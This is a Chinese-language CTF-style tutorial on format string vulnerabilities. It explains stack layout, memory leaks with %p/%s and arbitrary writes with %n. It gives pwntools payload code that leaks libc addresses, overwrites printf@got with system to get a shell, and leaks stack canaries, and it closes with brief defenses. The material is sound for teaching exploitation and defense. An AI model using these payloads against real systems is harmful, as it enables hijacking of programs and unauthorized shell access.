攻击原理

格式化字符串漏洞概述

格式化字符串漏洞(Format String Vulnerability) 是一种常见的漏洞类型,主要出现在使用格式化输出函数(如 printfsprintffprintf 等)时,如果用户输入直接作为格式化字符串参数,攻击者可以通过构造特殊的格式化字符串来实现内存泄露和任意地址写。

漏洞产生原因

正常情况下,格式化函数应该这样使用:

1
printf("%s", user_input);  // 正确:格式化字符串和参数分离

但存在漏洞的代码可能是:

1
2
3
printf(user_input);  // 错误:用户输入直接作为格式化字符串
// 或
printf(user_input, arg1, arg2); // 错误:用户输入作为格式化字符串

当用户输入包含格式化字符(如 %x%p%s%n)时,程序会按照格式化字符串的规则解析参数,导致安全问题。

格式化字符串的栈布局

当调用 printf(format, arg1, arg2, ...) 时,参数在栈上的布局如下(32位系统):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
高地址
+------------------+
| arg2 | ← 第3个参数(从右到左)
+------------------+
| arg1 | ← 第2个参数
+------------------+
| format | ← 第1个参数(格式化字符串)
+------------------+
| 返回地址 |
+------------------+
| 保存的ebp |
+------------------+
| 局部变量 |
+------------------+
低地址

关键点:格式化字符串函数会从栈上读取参数,如果格式化字符串中指定的参数数量超过实际提供的参数数量,函数会继续从栈上读取数据。

泄露内存的原理

使用 %x、%p、%s 泄露

1
2
3
printf("%x");  // 没有提供参数,会从栈上读取4字节并打印
printf("%p"); // 打印指针值
printf("%s"); // 将栈上的值当作地址,读取该地址的字符串

示例

1
2
3
char user_input[100];
gets(user_input); // 用户输入 "%x %x %x"
printf(user_input); // 会打印栈上的3个值

64位系统注意:前6个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),格式化字符串在 rdi,第一个参数在 rsi。要泄露栈上的值,需要使用 %7$p 这样的位置参数。

任意地址写的原理

%n 系列格式化字符

  • %n:将已输出的字符数写入到对应参数指向的地址(32位写入4字节,64位写入8字节)

  • %hn:写入2字节(half word)

  • %hhn:写入1字节(half half word)

示例

1
2
int count;
printf("hello%n", &count); // count = 5("hello"的长度)

利用 %n 实现任意地址写

通过构造格式化字符串,可以:

  1. 控制写入的地址(通过栈上的某个值)

  2. 控制写入的值(通过控制输出的字符数)

32位系统示例

1
2
3
4
char format[100];
int *target_addr = 0x0804A000; // 目标地址
sprintf(format, "%%%dc%%n", 0x4141); // 输出0x4141个字符,然后%n写入
printf(format, target_addr); // 将0x4141写入target_addr

关键技巧

  • 使用位置参数(如 %10$n)指定要写入的地址

  • 使用 %c%x 控制输出的字符数

  • 对于大数值,可以分多次写入(先写低字节,再写高字节)

64位系统的特殊处理

64位系统中,前6个参数通过寄存器传递:

  • rdi:格式化字符串

  • rsi:第一个参数

  • rdx:第二个参数

  • rcx:第三个参数

  • r8:第四个参数

  • r9:第五个参数

  • 第7个参数开始才在栈上

泄露栈上的值

1
2
printf("%7$p");  // 泄露第7个参数(栈上的第一个值)
printf("%8$p"); // 泄露第8个参数

写入栈上的地址

1
2
// 需要将目标地址放在栈上(第7个参数位置)
printf("%7$n"); // 写入到第7个参数指向的地址

攻击流程

  1. 泄露内存

    • 使用 %p%x 泄露栈上的值
    • 使用 %s 泄露指针指向的内容
    • 泄露关键地址(如 libc 地址、栈地址)
  2. 任意地址写

    • 构造格式化字符串,将目标地址放在栈上
    • 使用 %n 系列格式化字符写入值
    • 可以修改 GOT 表、函数指针等
  3. 获取 shell

    • 修改 GOT 表项(如将 printf@got 改为 system
    • 修改返回地址
    • 修改函数指针

常见利用场景

  1. 泄露 libc 地址:通过 %s 泄露 GOT 表中的函数地址

  2. 修改 GOT 表:将 printf@got 改为 system,然后传入 /bin/sh

  3. 修改返回地址:直接修改栈上的返回地址

  4. 修改函数指针:修改程序中的函数指针,劫持控制流

例题

思路总结

格式化字符串漏洞的利用主要分为两个方向:泄露内存任意地址写。核心思路是通过构造特殊的格式化字符串,利用格式化函数的参数解析机制实现攻击。

攻击步骤

  1. 识别漏洞

    • 寻找 printfsprintffprintf 等格式化函数
    • 检查用户输入是否直接作为格式化字符串参数
    • 使用 %p%x 等测试是否能泄露栈上的值
  2. 泄露关键信息

    • 泄露栈地址(用于后续写入)
    • 泄露 libc 地址(计算 system、/bin/sh 地址)
    • 泄露程序基地址(如果开启 PIE)
  3. 构造任意地址写

    • 确定目标地址(GOT 表、返回地址等)
    • 构造格式化字符串实现写入
    • 执行攻击(如调用 system)

泄露内存的方法

32位系统

1
2
3
4
5
6
7
8
9
10
# 泄露栈上的值
payload = "%x" * 10 # 泄露10个栈上的值
payload = "%p" * 10 # 以指针格式泄露

# 使用位置参数精确泄露
payload = "%7$p" # 泄露第7个参数(栈上的值)
payload = "%8$p" # 泄露第8个参数

# 泄露指针指向的内容
payload = "%7$s" # 将第7个参数当作地址,读取字符串

64位系统

1
2
3
4
# 前6个参数在寄存器中,从第7个开始才在栈上
payload = "%7$p" # 泄露栈上的第一个值
payload = "%8$p" # 泄露栈上的第二个值
payload = "%9$s" # 泄露指针指向的内容

实际利用示例

1
2
3
4
5
6
7
8
9
from pwn import *

# 泄露 GOT 表中的地址
payload = b'%8$s' # 假设 printf@got 在第8个参数位置
payload = payload.ljust(8, b'\x00') + p32(elf.got['printf'])

io.sendline(payload)
leaked_addr = u32(io.recv(4)) # 接收泄露的地址
libc_base = leaked_addr - libc.symbols['printf']

任意地址写的方法

使用 %n 写入

%n 系列格式化字符

  • %n:写入4字节(32位)或8字节(64位)

  • %hn:写入2字节

  • %hhn:写入1字节

32位系统写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 方法1:直接写入(小数值)
target_addr = 0x0804A000
value = 0x4141

# 构造格式化字符串
payload = f"%{value}c%7$n".encode()
payload = payload.ljust(8, b'\x00') + p32(target_addr)
# 输出 value 个字符,然后 %n 写入到 target_addr

# 方法2:分两次写入(大数值)
# 先写低2字节,再写高2字节
target_addr = 0x0804A000
value = 0x41424344

payload = f"%{value & 0xffff}c%7$hn".encode() # 写入低2字节
payload = payload.ljust(8, b'\x00') + p32(target_addr)
payload += f"%{(value >> 16) & 0xffff}c%8$hn".encode() # 写入高2字节
payload = payload.ljust(16, b'\x00') + p32(target_addr + 2)

64位系统写入

1
2
3
4
5
6
7
# 64位需要将目标地址放在栈上
target_addr = 0x601000
value = 0x4141

# 将目标地址放在栈上(第7个参数位置)
payload = f"%{value}c%7$n".encode()
payload = payload.ljust(8, b'\x00') + p64(target_addr)

使用 pwntools 的 fmtstr_payload

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# 自动构造格式化字符串 payload
# fmtstr_payload(offset, {address: value}, write_size='byte')
payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
# offset=7 表示目标地址在第7个参数位置
# 将 printf@got 的值改为 system_addr

# 写入大小选项
payload = fmtstr_payload(7, {addr: value}, write_size='byte') # 1字节
payload = fmtstr_payload(7, {addr: value}, write_size='short') # 2字节
payload = fmtstr_payload(7, {addr: value}, write_size='int') # 4字节(32位)或8字节(64位)

关键技巧

  1. 确定偏移位置

    1
    2
    3
    4
    5
    6
    7
    8
    # 方法1:使用 %p 测试
    for i in range(1, 20):
    payload = f"%{i}$p".encode()
    io.sendline(payload)
    print(f"{i}: {io.recvline()}")

    # 方法2:使用 pwntools
    # 在 gdb 中查看栈布局,确定目标地址的位置
  2. 泄露地址的技巧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    # 泄露多个地址
    payload = "%7$p.%8$p.%9$p"

    # 泄露字符串
    payload = "%7$s" # 需要确保第7个参数是有效地址
    payload = payload.ljust(8, b'\x00') + p32(target_addr)

    # 泄露并解析
    io.sendline(payload)
    leaked = io.recvuntil(b'\n', drop=True)
    addr = u32(leaked[:4])
  3. 写入大数值的技巧

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 对于大数值(如地址),需要分多次写入
    # 32位:分2次写入(每次2字节)
    # 64位:分多次写入(每次1字节或2字节)

    def write_value(offset, addr, value, size='int'):
    if size == 'int':
    # 32位:分2次写入
    payload = f"%{value & 0xffff}c%{offset}$hn".encode()
    payload = payload.ljust(8, b'\x00') + p32(addr)
    payload += f"%{(value >> 16) & 0xffff}c%{offset+1}$hn".encode()
    payload = payload.ljust(16, b'\x00') + p32(addr + 2)
    return payload
  4. 避免输出过多字符

    1
    2
    3
    # 使用 %hn 或 %hhn 减少输出
    # 先写入低字节,再写入高字节
    # 使用已输出的字符数(通过调整顺序)
  5. 修改 GOT 表的完整流程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 1. 泄露 libc 地址
    payload = b'%8$s'
    payload = payload.ljust(8, b'\x00') + p32(elf.got['printf'])
    io.sendline(payload)
    printf_addr = u32(io.recv(4))
    libc_base = printf_addr - libc.symbols['printf']
    system_addr = libc_base + libc.symbols['system']

    # 2. 修改 GOT 表
    payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
    io.sendline(payload)

    # 3. 触发 system
    io.sendline(b'/bin/sh')

常见利用场景

  1. 泄露 libc 并修改 GOT 表

    1
    2
    3
    4
    5
    # 泄露 printf@got
    payload = b'%8$s' + p32(elf.got['printf'])
    # 修改 printf@got 为 system
    payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
    # 调用 printf("/bin/sh") 实际执行 system("/bin/sh")
  2. 泄露栈地址并修改返回地址

    1
    2
    3
    4
    # 泄露栈地址
    payload = "%7$p"
    # 计算返回地址位置
    # 修改返回地址为 system
  3. 泄露 canary

    1
    2
    3
    # canary 通常在栈上的固定位置
    payload = "%23$p" # 假设 canary 在第23个参数位置
    # 泄露后用于绕过栈保护
  4. 修改函数指针

    1
    2
    # 如果程序中有函数指针,可以修改它
    payload = fmtstr_payload(7, {func_ptr_addr: target_addr})

常见问题

  • 偏移位置不确定:使用循环测试不同位置,或使用 gdb 查看栈布局

  • 写入值太大:分多次写入,使用 %hn 或 %hhn

  • 输出过多导致程序崩溃:减少输出字符数,使用位置参数

  • 64位系统参数位置:前6个在寄存器,从第7个开始在栈上

  • 地址包含 \x00:调整 payload 顺序,或使用其他方法绕过

防护措施

  1. 使用正确的格式化函数调用printf("%s", user_input) 而不是 printf(user_input)

  2. 格式化字符串检查:过滤或转义格式化字符

  3. 使用安全的替代函数:如 putsfputs

工具推荐

  • pwntoolsfmtstr_payload() 自动构造 payload

  • gdb:查看栈布局,确定偏移位置

  • IDA/Ghidra:静态分析,定位漏洞点